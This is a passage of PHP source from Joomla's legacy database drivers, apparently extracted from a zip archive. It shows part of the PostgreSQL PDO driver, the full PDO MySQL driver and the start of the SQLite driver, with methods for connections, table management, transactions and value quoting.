https://www.php.net/manual/en/ref.pdo-mysql.php * @since 3.9.0 */ class JDatabaseDriverPgsql extends JDatabaseDriverPdo { /** * The database driver name * * @var string * @since 3.9.0 */ public $name = 'pgsql'; /** * The character(s) used to quote SQL statement names such as table names or field names, * etc. The child classes should define this as necessary. If a single character string the * same character is used for both sides of the quoted name, else the first character will be * used for the opening quote and the second for the closing quote. * * @var string * @since 3.9.0 */ protected $nameQuote = '"'; /** * The null or zero representation of a timestamp for the database driver. This should be * defined in child classes to hold the appropriate value for the engine. * * @var string * @since 3.9.0 */ protected $nullDate = '1970-01-01 00:00:00'; /** * The minimum supported database version. * * @var string * @since 3.9.0 */ protected static $dbMinimum = '8.3.18'; /** * Operator used for concatenation * * @var string * @since 3.9.0 */ protected $concat_operator = '||'; /** * Database object constructor * * @param array $options List of options used to configure the connection * * @since 3.9.0 */ public function __construct($options) { $options['driver'] = 'pgsql'; $options['host'] = isset($options['host']) ? $options['host'] : 'localhost'; $options['user'] = isset($options['user']) ? $options['user'] : ''; $options['password'] = isset($options['password']) ? $options['password'] : ''; $options['database'] = isset($options['database']) ? $options['database'] : ''; $options['port'] = isset($options['port']) ? $options['port'] : null; // Finalize initialization parent::__construct($options); } /** * Connects to the database if needed. * * @return void Returns void if the database connected successfully. * * @since 3.9.0 * @throws \RuntimeException */ public function connect() { if ($this->getConnection()) { return; } parent::connect(); $this->setQuery('SET standard_conforming_strings = off')->execute(); } /** * Drops a table from the database. * * @param string $tableName The name of the database table to drop. * @param boolean $ifExists Optionally specify that the table must exist before it is dropped. * * @return boolean true * * @since 3.9.0 * @throws \RuntimeException */ public function dropTable($tableName, $ifExists = true) { $this->setQuery('DROP TABLE ' . ($ifExists ? 'IF EXISTS ' : '') . $this->quoteName($tableName))->execute(); return true; } /** * Method to get the database collation in use by sampling a text field of a table in the database. * * @return mixed The collation in use by the database or boolean false if not supported. * * @since 3.9.0 * @throws \RuntimeException */ public function getCollation() { $this->setQuery('SHOW LC_COLLATE'); $array = $this->loadAssocList(); return $array[0]['lc_collate']; } /** * Method to get the database connection collation in use by sampling a text field of a table in the database. * * @return mixed The collation in use by the database connection (string) or boolean false if not supported. * * @since 3.9.0 * @throws \RuntimeException */ public function getConnectionCollation() { $this->setQuery('SHOW LC_COLLATE'); $array = $this->loadAssocList(); return $array[0]['lc_collate']; } /** * Internal function to get the name of the default schema for the current PostgreSQL connection. * That is the schema where tables are created by Joomla. * * @return string * * @since 3.9.24 */ private function getDefaultSchema() { // Supported since PostgreSQL 7.3 $this->setQuery('SELECT (current_schemas(false))[1]'); return $this->loadResult(); } /** * Shows the table CREATE statement that creates the given tables. * * This is unsupported by PostgreSQL. * * @param mixed $tables A table name or a list of table names. * * @return string An empty string because this function is not supported by PostgreSQL. * * @since 3.9.0 * @throws \RuntimeException */ public function getTableCreate($tables) { return ''; } /** * Retrieves field information about a given table. * * @param string $table The name of the database table. * @param boolean $typeOnly True to only return field types. * * @return array An array of fields for the database table. * * @since 3.9.0 * @throws \RuntimeException */ public function getTableColumns($table, $typeOnly = true) { $this->connect(); $result = array(); $tableSub = $this->replacePrefix($table); $defaultSchema = $this->getDefaultSchema(); $this->setQuery(' SELECT a.attname AS "column_name", pg_catalog.format_type(a.atttypid, a.atttypmod) as "type", CASE WHEN a.attnotnull IS TRUE THEN \'NO\' ELSE \'YES\' END AS "null", CASE WHEN pg_catalog.pg_get_expr(adef.adbin, adef.adrelid, true) IS NOT NULL THEN pg_catalog.pg_get_expr(adef.adbin, adef.adrelid, true) END as "Default", CASE WHEN pg_catalog.col_description(a.attrelid, a.attnum) IS NULL THEN \'\' ELSE pg_catalog.col_description(a.attrelid, a.attnum) END AS "comments" FROM pg_catalog.pg_attribute a LEFT JOIN pg_catalog.pg_attrdef adef ON a.attrelid=adef.adrelid AND a.attnum=adef.adnum LEFT JOIN pg_catalog.pg_type t ON a.atttypid=t.oid WHERE a.attrelid = (SELECT oid FROM pg_catalog.pg_class WHERE relname=' . $this->quote($tableSub) . ' AND relnamespace = (SELECT oid FROM pg_catalog.pg_namespace WHERE nspname = ' . $this->quote($defaultSchema) . ') ) AND a.attnum > 0 AND NOT a.attisdropped ORDER BY a.attnum' ); $fields = $this->loadObjectList(); if ($typeOnly) { foreach ($fields as $field) { $result[$field->column_name] = preg_replace('/[(0-9)]/', '', $field->type); } } else { foreach ($fields as $field) { if (stristr(strtolower($field->type), 'character varying')) { $field->Default = ''; } if (stristr(strtolower($field->type), 'text')) { $field->Default = ''; } // Do some dirty translation to MySQL output. // @todo: Come up with and implement a standard across databases. $result[$field->column_name] = (object) array( 'column_name' => $field->column_name, 'type' => $field->type, 'null' => $field->null, 'Default' => $field->Default, 'comments' => '', 'Field' => $field->column_name, 'Type' => $field->type, 'Null' => $field->null, // @todo: Improve query above to return primary key info as well // 'Key' => ($field->PK == '1' ? 'PRI' : '') ); } } // Change Postgresql's NULL::* type with PHP's null one foreach ($fields as $field) { if (preg_match('/^NULL::*/', $field->Default)) { $field->Default = null; } } return $result; } /** * Get the details list of keys for a table. * * @param string $table The name of the table. * * @return array An array of the column specification for the table. * * @since 3.9.0 * @throws \RuntimeException */ public function getTableKeys($table) { $this->connect(); // To check if table exists and prevent SQL injection $tableList = $this->getTableList(); if (in_array($table, $tableList, true)) { // Get the details columns information. $this->setQuery(' SELECT indexname AS "idxName", indisprimary AS "isPrimary", indisunique AS "isUnique", CASE WHEN indisprimary = true THEN ( SELECT \'ALTER TABLE \' || tablename || \' ADD \' || pg_catalog.pg_get_constraintdef(const.oid, true) FROM pg_constraint AS const WHERE const.conname= pgClassFirst.relname ) ELSE pg_catalog.pg_get_indexdef(indexrelid, 0, true) END AS "Query" FROM pg_indexes LEFT JOIN pg_class AS pgClassFirst ON indexname=pgClassFirst.relname LEFT JOIN pg_index AS pgIndex ON pgClassFirst.oid=pgIndex.indexrelid WHERE tablename=' . $this->quote($table) . ' ORDER BY indkey' ); return $this->loadObjectList(); } return false; } /** * Method to get an array of all tables in the database. * * @return array An array of all the tables in the database. * * @since 3.9.0 * @throws \RuntimeException */ public function getTableList() { $query = $this->getQuery(true) ->select('table_name') ->from('information_schema.tables') ->where('table_type = ' . $this->quote('BASE TABLE')) ->where('table_schema NOT IN (' . $this->quote('pg_catalog') . ', ' . $this->quote('information_schema') . ')') ->order('table_name ASC'); $this->setQuery($query); return $this->loadColumn(); } /** * Get the details list of sequences for a table. * * @param string $table The name of the table. * * @return array An array of sequences specification for the table. * * @since 3.9.0 * @throws \RuntimeException */ public function getTableSequences($table) { // To check if table exists and prevent SQL injection $tableList = $this->getTableList(); if (in_array($table, $tableList, true)) { $name = array( 's.relname', 'n.nspname', 't.relname', 'a.attname', 'info.data_type', 'info.minimum_value', 'info.maximum_value', 'info.increment', 'info.cycle_option' ); $as = array('sequence', 'schema', 'table', 'column', 'data_type', 'minimum_value', 'maximum_value', 'increment', 'cycle_option'); if (version_compare($this->getVersion(), '9.1.0') >= 0) { $name[] .= 'info.start_value'; $as[] .= 'start_value'; } // Get the details columns information. $query = $this->getQuery(true) ->select($this->quoteName($name, $as)) ->from('pg_class AS s') ->leftJoin("pg_depend d ON d.objid = s.oid AND d.classid = 'pg_class'::regclass AND d.refclassid = 'pg_class'::regclass") ->leftJoin('pg_class t ON t.oid = d.refobjid') ->leftJoin('pg_namespace n ON n.oid = t.relnamespace') ->leftJoin('pg_attribute a ON a.attrelid = t.oid AND a.attnum = d.refobjsubid') ->leftJoin('information_schema.sequences AS info ON info.sequence_name = s.relname') ->where('s.relkind = ' . $this->quote('S') . ' AND d.deptype = ' . $this->quote('a') . ' AND t.relname = ' . $this->quote($table)); $this->setQuery($query); return $this->loadObjectList(); } return false; } /** * Locks a table in the database. * * @param string $tableName The name of the table to unlock. * * @return JDatabaseDriverPgsql Returns this object to support chaining. * * @since 3.9.0 * @throws \RuntimeException */ public function lockTable($tableName) { $this->transactionStart(); $this->setQuery('LOCK TABLE ' . $this->quoteName($tableName) . ' IN ACCESS EXCLUSIVE MODE')->execute(); return $this; } /** * Renames a table in the database. * * @param string $oldTable The name of the table to be renamed * @param string $newTable The new name for the table. * @param string $backup Not used by PostgreSQL. * @param string $prefix Not used by PostgreSQL. * * @return JDatabaseDriverPgsql Returns this object to support chaining. * * @since 3.9.0 * @throws \RuntimeException */ public function renameTable($oldTable, $newTable, $backup = null, $prefix = null) { $this->connect(); // To check if table exists and prevent SQL injection $tableList = $this->getTableList(); // Origin Table does not exist if (!in_array($oldTable, $tableList, true)) { // Origin Table not found throw new \RuntimeException('Table not found in Postgresql database.'); } // Rename indexes $subQuery = $this->getQuery(true) ->select('indexrelid') ->from('pg_index, pg_class') ->where('pg_class.relname = ' . $this->quote($oldTable)) ->where('pg_class.oid = pg_index.indrelid'); $this->setQuery( $this->getQuery(true) ->select('relname') ->from('pg_class') ->where('oid IN (' . (string) $subQuery . ')') ); $oldIndexes = $this->loadColumn(); foreach ($oldIndexes as $oldIndex) { $changedIdxName = str_replace($oldTable, $newTable, $oldIndex); $this->setQuery('ALTER INDEX ' . $this->escape($oldIndex) . ' RENAME TO ' . $this->escape($changedIdxName))->execute(); } // Rename sequences $subQuery = $this->getQuery(true) ->select('oid') ->from('pg_namespace') ->where('nspname NOT LIKE ' . $this->quote('pg_%')) ->where('nspname != ' . $this->quote('information_schema')); $this->setQuery( $this->getQuery(true) ->select('relname') ->from('pg_class') ->where('relkind = ' . $this->quote('S')) ->where('relnamespace IN (' . (string) $subQuery . ')') ->where('relname LIKE ' . $this->quote("%$oldTable%")) ); $oldSequences = $this->loadColumn(); foreach ($oldSequences as $oldSequence) { $changedSequenceName = str_replace($oldTable, $newTable, $oldSequence); $this->setQuery('ALTER SEQUENCE ' . $this->escape($oldSequence) . ' RENAME TO ' . $this->escape($changedSequenceName))->execute(); } // Rename table $this->setQuery('ALTER TABLE ' . $this->escape($oldTable) . ' RENAME TO ' . $this->escape($newTable))->execute(); return true; } /** * This function return a field value as a prepared string to be used in a SQL statement. * * @param array $columns Array of table's column returned by ::getTableColumns. * @param string $fieldName The table field's name. * @param string $fieldValue The variable value to quote and return. * * @return string The quoted string. * * @since 3.9.0 */ public function sqlValue($columns, $fieldName, $fieldValue) { switch ($columns[$fieldName]) { case 'boolean': $val = 'NULL'; if ($fieldValue === 't' || $fieldValue === true || $fieldValue === 1 || $fieldValue === '1') { $val = 'TRUE'; } elseif ($fieldValue === 'f' || $fieldValue === false || $fieldValue === 0 || $fieldValue === '0') { $val = 'FALSE'; } break; case 'bigint': case 'bigserial': case 'integer': case 'money': case 'numeric': case 'real': case 'smallint': case 'serial': case 'numeric,': $val = $fieldValue === '' ? 'NULL' : $fieldValue; break; case 'date': case 'timestamp without time zone': if (empty($fieldValue)) { $fieldValue = $this->getNullDate(); } $val = $this->quote($fieldValue); break; default: $val = $this->quote($fieldValue); break; } return $val; } /** * Method to commit a transaction. * * @param boolean $toSavepoint If true, commit to the last savepoint. * * @return void * * @since 3.9.0 * @throws \RuntimeException */ public function transactionCommit($toSavepoint = false) { $this->connect(); if (!$toSavepoint || $this->transactionDepth <= 1) { if ($this->setQuery('COMMIT')->execute()) { $this->transactionDepth = 0; } return; } $this->transactionDepth--; } /** * Method to roll back a transaction. * * @param boolean $toSavepoint If true, rollback to the last savepoint. * * @return void * * @since 3.9.0 * @throws \RuntimeException */ public function transactionRollback($toSavepoint = false) { $this->connect(); if (!$toSavepoint || $this->transactionDepth <= 1) { if ($this->setQuery('ROLLBACK')->execute()) { $this->transactionDepth = 0; } return; } $savepoint = 'SP_' . ($this->transactionDepth - 1); $this->setQuery('ROLLBACK TO SAVEPOINT ' . $this->quoteName($savepoint)); if ($this->execute()) { $this->transactionDepth--; $this->setQuery('RELEASE SAVEPOINT ' . $this->quoteName($savepoint))->execute(); } } /** * Method to initialize a transaction. * * @param boolean $asSavepoint If true and a transaction is already active, a savepoint will be created. * * @return void * * @since 3.9.0 * @throws \RuntimeException */ public function transactionStart($asSavepoint = false) { $this->connect(); if (!$asSavepoint || !$this->transactionDepth) { if ($this->setQuery('START TRANSACTION')->execute()) { $this->transactionDepth = 1; } return; } $savepoint = 'SP_' . $this->transactionDepth; $this->setQuery('SAVEPOINT ' . $this->quoteName($savepoint)); if ($this->execute()) { $this->transactionDepth++; } } /** * Inserts a row into a table based on an object's properties. * * @param string $table The name of the database table to insert into. * @param object &$object A reference to an object whose public properties match the table fields. * @param string $key The name of the primary key. If provided the object property is updated. * * @return boolean True on success. * * @since 3.9.0 * @throws \RuntimeException */ public function insertObject($table, &$object, $key = null) { $columns = $this->getTableColumns($table); $fields = array(); $values = array(); // Iterate over the object variables to build the query fields and values. foreach (get_object_vars($object) as $k => $v) { // Skip columns that don't exist in the table. if (!array_key_exists($k, $columns)) { continue; } // Only process non-null scalars. if (is_array($v) || is_object($v) || $v === null) { continue; } // Ignore any internal fields or primary keys with value 0. if (($k[0] === '_') || ($k == $key && (($v === 0) || ($v === '0')))) { continue; } // Prepare and sanitize the fields and values for the database query. $fields[] = $this->quoteName($k); $values[] = $this->sqlValue($columns, $k, $v); } // Create the base insert statement. $query = $this->getQuery(true); $query->insert($this->quoteName($table)) ->columns($fields) ->values(implode(',', $values)); $retVal = false; if ($key) { $query->returning($key); // Set the query and execute the insert. $this->setQuery($query); $id = $this->loadResult(); if ($id) { $object->$key = $id; $retVal = true; } } else { // Set the query and execute the insert. $this->setQuery($query); if ($this->execute()) { $retVal = true; } } return $retVal; } /** * Test to see if the PostgreSQL connector is available. * * @return boolean True on success, false otherwise. * * @since 3.9.0 */ public static function isSupported() { return class_exists('PDO') && in_array('pgsql', PDO::getAvailableDrivers(), true); } /** * Returns an array containing database's table list. * * @return array The database's table list. * * @since 3.9.0 */ public function showTables() { $query = $this->getQuery(true) ->select('table_name') ->from('information_schema.tables') ->where('table_type=' . $this->quote('BASE TABLE')) ->where('table_schema NOT IN (' . $this->quote('pg_catalog') . ', ' . $this->quote('information_schema') . ' )'); $this->setQuery($query); return $this->loadColumn(); } /** * Get the substring position inside a string * * @param string $substring The string being sought * @param string $string The string/column being searched * * @return integer The position of $substring in $string * * @since 3.9.0 */ public function getStringPositionSql($substring, $string) { $this->setQuery("SELECT POSITION($substring IN $string)"); $position = $this->loadRow(); return $position['position']; } /** * Generate a random value * * @return float The random generated number * * @since 3.9.0 */ public function getRandom() { $this->setQuery('SELECT RANDOM()'); $random = $this->loadAssoc(); return $random['random']; } /** * Get the query string to alter the database character set. * * @param string $dbName The database name * * @return string The query that alter the database query string * * @since 3.9.0 */ public function getAlterDbCharacterSet($dbName) { return 'ALTER DATABASE ' . $this->quoteName($dbName) . ' SET CLIENT_ENCODING TO ' . $this->quote('UTF8'); } /** * Get the query string to create new Database in correct PostgreSQL syntax. * * @param object $options object coming from "initialise" function to pass user and database name to database driver. * @param boolean $utf True if the database supports the UTF-8 character set, not used in PostgreSQL "CREATE DATABASE" query. * * @return string The query that creates database, owned by $options['user'] * * @since 3.9.0 */ public function getCreateDbQuery($options, $utf) { $query = 'CREATE DATABASE ' . $this->quoteName($options->db_name) . ' OWNER ' . $this->quoteName($options->db_user); if ($utf) { $query .= ' ENCODING ' . $this->quote('UTF-8'); } return $query; } /** * This function replaces a string identifier <var>$prefix</var> with the string held is the <var>tablePrefix</var> class variable. * * @param string $sql The SQL statement to prepare. * @param string $prefix The common table prefix. * * @return string The processed SQL statement. * * @since 3.9.0 */ public function replacePrefix($sql, $prefix = '#__') { $sql = trim($sql); if (strpos($sql, '\'')) { // Sequence name quoted with ' ' but need to be replaced if (strpos($sql, 'currval')) { $sql = explode('currval', $sql); for ($nIndex = 1, $nIndexMax = count($sql); $nIndex < $nIndexMax; $nIndex += 2) { $sql[$nIndex] = str_replace($prefix, $this->tablePrefix, $sql[$nIndex]); } $sql = implode('currval', $sql); } // Sequence name quoted with ' ' but need to be replaced if (strpos($sql, 'nextval')) { $sql = explode('nextval', $sql); for ($nIndex = 1, $nIndexMax = count($sql); $nIndex < $nIndexMax; $nIndex += 2) { $sql[$nIndex] = str_replace($prefix, $this->tablePrefix, $sql[$nIndex]); } $sql = implode('nextval', $sql); } // Sequence name quoted with ' ' but need to be replaced if (strpos($sql, 'setval')) { $sql = explode('setval', $sql); for ($nIndex = 1, $nIndexMax = count($sql); $nIndex < $nIndexMax; $nIndex += 2) { $sql[$nIndex] = str_replace($prefix, $this->tablePrefix, $sql[$nIndex]); } $sql = implode('setval', $sql); } $explodedQuery = explode('\'', $sql); for ($nIndex = 0, $nIndexMax = count($explodedQuery); $nIndex < $nIndexMax; $nIndex += 2) { if (strpos($explodedQuery[$nIndex], $prefix)) { $explodedQuery[$nIndex] = str_replace($prefix, $this->tablePrefix, $explodedQuery[$nIndex]); } } $replacedQuery = implode('\'', $explodedQuery); } else { $replacedQuery = str_replace($prefix, $this->tablePrefix, $sql); } return $replacedQuery; } /** * Unlocks tables in the database, this command does not exist in PostgreSQL, it is automatically done on commit or rollback. * * @return JDatabaseDriverPgsql Returns this object to support chaining. * * @since 3.9.0 * @throws \RuntimeException */ public function unlockTables() { $this->transactionCommit(); return $this; } /** * Updates a row in a table based on an object's properties. * * @param string $table The name of the database table to update. * @param object &$object A reference to an object whose public properties match the table fields. * @param array $key The name of the primary key. * @param boolean $nulls True to update null fields or false to ignore them. * * @return boolean * * @since 3.9.0 * @throws \RuntimeException */ public function updateObject($table, &$object, $key, $nulls = false) { $columns = $this->getTableColumns($table); $fields = array(); $where = array(); if (is_string($key)) { $key = array($key); } if (is_object($key)) { $key = (array) $key; } // Create the base update statement. $statement = 'UPDATE ' . $this->quoteName($table) . ' SET %s WHERE %s'; // Iterate over the object variables to build the query fields/value pairs. foreach (get_object_vars($object) as $k => $v) { // Skip columns that don't exist in the table. if (! array_key_exists($k, $columns)) { continue; } // Only process scalars that are not internal fields. if (is_array($v) || is_object($v) || $k[0] === '_') { continue; } // Set the primary key to the WHERE clause instead of a field to update. if (in_array($k, $key, true)) { $key_val = $this->sqlValue($columns, $k, $v); $where[] = $this->quoteName($k) . '=' . $key_val; continue; } // Prepare and sanitize the fields and values for the database query. if ($v === null) { // If the value is null and we do not want to update nulls then ignore this field. if (!$nulls) { continue; } // If the value is null and we want to update nulls then set it. $val = 'NULL'; } else // The field is not null so we prep it for update. { $val = $this->sqlValue($columns, $k, $v); } // Add the field to be updated. $fields[] = $this->quoteName($k) . '=' . $val; } // We don't have any fields to update. if (empty($fields)) { return true; } // Set the query and execute the update. $this->setQuery(sprintf($statement, implode(',', $fields), implode(' AND ', $where))); return $this->execute(); } /** * Quotes a binary string to database requirements for use in database queries. * * @param mixed $data A binary string to quote. * * @return string The binary quoted input string. * * @since 3.9.12 */ public function quoteBinary($data) { return "decode('" . bin2hex($data) . "', 'hex')"; } } PK�\���ͷ6�6#joomla/database/driver/pdomysql.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * MySQL database driver supporting PDO based connections * * @link https://www.php.net/manual/en/ref.pdo-mysql.php * @since 3.4 */ class JDatabaseDriverPdomysql extends JDatabaseDriverPdo { /** * The name of the database driver. * * @var string * @since 3.4 */ public $name = 'pdomysql'; /** * The type of the database server family supported by this driver. * * @var string * @since CMS 3.5.0 */ public $serverType = 'mysql'; /** * The character(s) used to quote SQL statement names such as table names or field names, * etc. The child classes should define this as necessary. If a single character string the * same character is used for both sides of the quoted name, else the first character will be * used for the opening quote and the second for the closing quote. * * @var string * @since 3.4 */ protected $nameQuote = '`'; /** * The null or zero representation of a timestamp for the database driver. This should be * defined in child classes to hold the appropriate value for the engine. * * @var string * @since 3.4 */ protected $nullDate = '0000-00-00 00:00:00'; /** * The minimum supported database version. * * @var string * @since 3.4 */ protected static $dbMinimum = '5.0.4'; /** * Constructor. * * @param array $options Array of database options with keys: host, user, password, database, select. * * @since 3.4 */ public function __construct($options) { // Get some basic values from the options. $options['driver'] = 'mysql'; if (!isset($options['charset']) || $options['charset'] == 'utf8') { $options['charset'] = 'utf8mb4'; } /** * Pre-populate the UTF-8 Multibyte compatibility flag. Unfortunately PDO won't report the server version * unless we're connected to it, and we cannot connect to it unless we know if it supports utf8mb4, which requires * us knowing the server version. Because of this chicken and egg issue, we _assume_ it's supported and we'll just * catch any problems at connection time. */ $this->utf8mb4 = ($options['charset'] == 'utf8mb4'); // Finalize initialisation. parent::__construct($options); } /** * Connects to the database if needed. * * @return void Returns void if the database connected successfully. * * @since 3.4 * @throws RuntimeException */ public function connect() { if ($this->connection) { return; } try { // Try to connect to MySQL parent::connect(); } catch (\RuntimeException $e) { // If the connection failed, but not because of the wrong character set, then bubble up the exception. if (!$this->utf8mb4) { throw $e; } /* * Otherwise, try connecting again without using * utf8mb4 and see if maybe that was the problem. If the * connection succeeds, then we will have learned that the * client end of the connection does not support utf8mb4. */ $this->utf8mb4 = false; $this->options['charset'] = 'utf8'; parent::connect(); } if ($this->utf8mb4) { /* * At this point we know the client supports utf8mb4. Now * we must check if the server supports utf8mb4 as well. */ $serverVersion = $this->connection->getAttribute(PDO::ATTR_SERVER_VERSION); $this->utf8mb4 = version_compare($serverVersion, '5.5.3', '>='); if (!$this->utf8mb4) { // Reconnect with the utf8 character set. parent::disconnect(); $this->options['charset'] = 'utf8'; parent::connect(); } } $this->connection->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $this->connection->setAttribute(PDO::ATTR_EMULATE_PREPARES, true); // Set sql_mode to non_strict mode $this->connection->query("SET @@SESSION.sql_mode = '';"); // Disable query cache and turn profiling ON in debug mode. if ($this->debug) { if ($this->hasQueryCacheEnabled()) { $this->connection->query('SET query_cache_type = 0;'); } if ($this->hasProfiling()) { $this->connection->query('SET profiling_history_size = 100, profiling = 1;'); } } } /** * Test to see if the MySQL connector is available. * * @return boolean True on success, false otherwise. * * @since 3.4 */ public static function isSupported() { return class_exists('PDO') && in_array('mysql', PDO::getAvailableDrivers()); } /** * Drops a table from the database. * * @param string $tableName The name of the database table to drop. * @param boolean $ifExists Optionally specify that the table must exist before it is dropped. * * @return JDatabaseDriverPdomysql Returns this object to support chaining. * * @since 3.4 * @throws RuntimeException */ public function dropTable($tableName, $ifExists = true) { $this->connect(); $query = $this->getQuery(true); $query->setQuery('DROP TABLE ' . ($ifExists ? 'IF EXISTS ' : '') . $this->quoteName($tableName)); $this->setQuery($query); $this->execute(); return $this; } /** * Select a database for use. * * @param string $database The name of the database to select for use. * * @return boolean True if the database was successfully selected. * * @since 3.4 * @throws RuntimeException */ public function select($database) { $this->connect(); $this->setQuery('USE ' . $this->quoteName($database)); $this->execute(); return $this; } /** * Method to get the database collation in use by sampling a text field of a table in the database. * * @return mixed The collation in use by the database (string) or boolean false if not supported. * * @since 3.4 * @throws RuntimeException */ public function getCollation() { $this->connect(); // Attempt to get the database collation by accessing the server system variable. $this->setQuery('SHOW VARIABLES LIKE "collation_database"'); $result = $this->loadObject(); if (property_exists($result, 'Value')) { return $result->Value; } else { return false; } } /** * Method to get the database connection collation, as reported by the driver. If the connector doesn't support * reporting this value please return an empty string. * * @return string */ public function getConnectionCollation() { $this->connect(); // Attempt to get the database collation by accessing the server system variable. $this->setQuery('SHOW VARIABLES LIKE "collation_connection"'); $result = $this->loadObject(); if (property_exists($result, 'Value')) { return $result->Value; } else { return false; } } /** * Shows the table CREATE statement that creates the given tables. * * @param mixed $tables A table name or a list of table names. * * @return array A list of the create SQL for the tables. * * @since 3.4 * @throws RuntimeException */ public function getTableCreate($tables) { $this->connect(); // Initialise variables. $result = array(); // Sanitize input to an array and iterate over the list. settype($tables, 'array'); foreach ($tables as $table) { $this->setQuery('SHOW CREATE TABLE ' . $this->quoteName($table)); $row = $this->loadRow(); // Populate the result array based on the create statements. $result[$table] = $row[1]; } return $result; } /** * Retrieves field information about a given table. * * @param string $table The name of the database table. * @param boolean $typeOnly True to only return field types. * * @return array An array of fields for the database table. * * @since 3.4 * @throws RuntimeException */ public function getTableColumns($table, $typeOnly = true) { $this->connect(); $result = array(); // Set the query to get the table fields statement. $this->setQuery('SHOW FULL COLUMNS FROM ' . $this->quoteName($table)); $fields = $this->loadObjectList(); // If we only want the type as the value add just that to the list. if ($typeOnly) { foreach ($fields as $field) { $result[$field->Field] = preg_replace('/[(0-9)]/', '', $field->Type); } } // If we want the whole field data object add that to the list. else { foreach ($fields as $field) { $result[$field->Field] = $field; } } return $result; } /** * Get the details list of keys for a table. * * @param string $table The name of the table. * * @return array An array of the column specification for the table. * * @since 3.4 * @throws RuntimeException */ public function getTableKeys($table) { $this->connect(); // Get the details columns information. $this->setQuery('SHOW KEYS FROM ' . $this->quoteName($table)); $keys = $this->loadObjectList(); return $keys; } /** * Method to get an array of all tables in the database. * * @return array An array of all the tables in the database. * * @since 3.4 * @throws RuntimeException */ public function getTableList() { $this->connect(); // Set the query to get the tables statement. $this->setQuery('SHOW TABLES'); $tables = $this->loadColumn(); return $tables; } /** * Locks a table in the database. * * @param string $table The name of the table to unlock. * * @return JDatabaseDriverPdomysql Returns this object to support chaining. * * @since 3.4 * @throws RuntimeException */ public function lockTable($table) { $this->setQuery('LOCK TABLES ' . $this->quoteName($table) . ' WRITE')->execute(); return $this; } /** * Renames a table in the database. * * @param string $oldTable The name of the table to be renamed * @param string $newTable The new name for the table. * @param string $backup Not used by MySQL. * @param string $prefix Not used by MySQL. * * @return JDatabaseDriverPdomysql Returns this object to support chaining. * * @since 3.4 * @throws RuntimeException */ public function renameTable($oldTable, $newTable, $backup = null, $prefix = null) { $this->setQuery('RENAME TABLE ' . $this->quoteName($oldTable) . ' TO ' . $this->quoteName($newTable)); $this->execute(); return $this; } /** * Method to escape a string for usage in an SQL statement. * * Oracle escaping reference: * http://www.orafaq.com/wiki/SQL_FAQ#How_does_one_escape_special_characters_when_writing_SQL_queries.3F * * SQLite escaping notes: * http://www.sqlite.org/faq.html#q14 * * Method body is as implemented by the Zend Framework * * Note: Using query objects with bound variables is * preferable to the below. * * @param string $text The string to be escaped. * @param boolean $extra Unused optional parameter to provide extra escaping. * * @return string The escaped string. * * @since 3.4 */ public function escape($text, $extra = false) { if (is_int($text)) { return $text; } if (is_float($text)) { // Force the dot as a decimal point. return str_replace(',', '.', (string) $text); } $this->connect(); $result = substr($this->connection->quote($text), 1, -1); if ($extra) { $result = addcslashes($result, '%_'); } return $result; } /** * Unlocks tables in the database. * * @return JDatabaseDriverPdomysql Returns this object to support chaining. * * @since 3.4 * @throws RuntimeException */ public function unlockTables() { $this->setQuery('UNLOCK TABLES')->execute(); return $this; } /** * Method to commit a transaction. * * @param boolean $toSavepoint If true, commit to the last savepoint. * * @return void * * @since 3.4 * @throws RuntimeException */ public function transactionCommit($toSavepoint = false) { $this->connect(); if (!$toSavepoint || $this->transactionDepth <= 1) { parent::transactionCommit($toSavepoint); } else { $this->transactionDepth--; } } /** * Method to roll back a transaction. * * @param boolean $toSavepoint If true, rollback to the last savepoint. * * @return void * * @since 3.4 * @throws RuntimeException */ public function transactionRollback($toSavepoint = false) { $this->connect(); if (!$toSavepoint || $this->transactionDepth <= 1) { parent::transactionRollback($toSavepoint); } else { $savepoint = 'SP_' . ($this->transactionDepth - 1); $this->setQuery('ROLLBACK TO SAVEPOINT ' . $this->quoteName($savepoint)); if ($this->execute()) { $this->transactionDepth--; } } } /** * Method to initialize a transaction. * * @param boolean $asSavepoint If true and a transaction is already active, a savepoint will be created. * * @return void * * @since 3.4 * @throws RuntimeException */ public function transactionStart($asSavepoint = false) { $this->connect(); if (!$asSavepoint || !$this->transactionDepth) { parent::transactionStart($asSavepoint); } else { $savepoint = 'SP_' . $this->transactionDepth; $this->setQuery('SAVEPOINT ' . $this->quoteName($savepoint)); if ($this->execute()) { $this->transactionDepth++; } } } /** * Internal function to check if profiling is available. * * @return boolean * * @since 3.9.1 */ private function hasProfiling() { $result = $this->setQuery("SHOW VARIABLES LIKE 'have_profiling'")->loadAssoc(); return isset($result); } /** * Internal function to check if query cache is enabled. * * @return boolean * * @since 3.9.25 */ private function hasQueryCacheEnabled() { $result = $this->setQuery("SHOW VARIABLES LIKE 'query_cache_type'")->loadAssoc(); return isset($result['Value']) && $result['Value'] === 'ON'; } } PK�\g��//!joomla/database/driver/sqlite.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * SQLite database driver * * @link https://www.php.net/pdo * @since 3.0.0 */ class JDatabaseDriverSqlite extends JDatabaseDriverPdo { /** * The name of the database driver. * * @var string * @since 3.0.0 */ public $name = 'sqlite'; /** * The type of the database server family supported by this driver. * * @var string * @since CMS 3.5.0 */ public $serverType = 'sqlite'; /** * The character(s) used to quote SQL statement names such as table names or field names, * etc. The child classes should define this as necessary. If a single character string the * same character is used for both sides of the quoted name, else the first character will be * used for the opening quote and the second for the closing quote. * * @var string * @since 3.0.0 */ protected $nameQuote = '`'; /** * Connects to the database if needed. * * @return void Returns void if the database connected successfully. * * @since 3.0.0 * @throws RuntimeException */ public function connect() { if ($this->connection) { return; } parent::connect(); $this->connection->sqliteCreateFunction( 'ROW_NUMBER', function($init = null) { static $rownum, $partition; if ($init !== null) { $rownum = $init; $partition = null; return $rownum; } $args = func_get_args(); array_shift($args); $partitionBy = $args ? implode(',', $args) : null; if ($partitionBy === null || $partitionBy === $partition) { $rownum++; } else { $rownum = 1; $partition = $partitionBy; } return $rownum; } ); } /** * Disconnects the database. * * @return void * * @since 3.0.0 */ public function disconnect() { $this->freeResult(); $this->connection = null; } /** * Drops a table from the database. * * @param string $tableName The 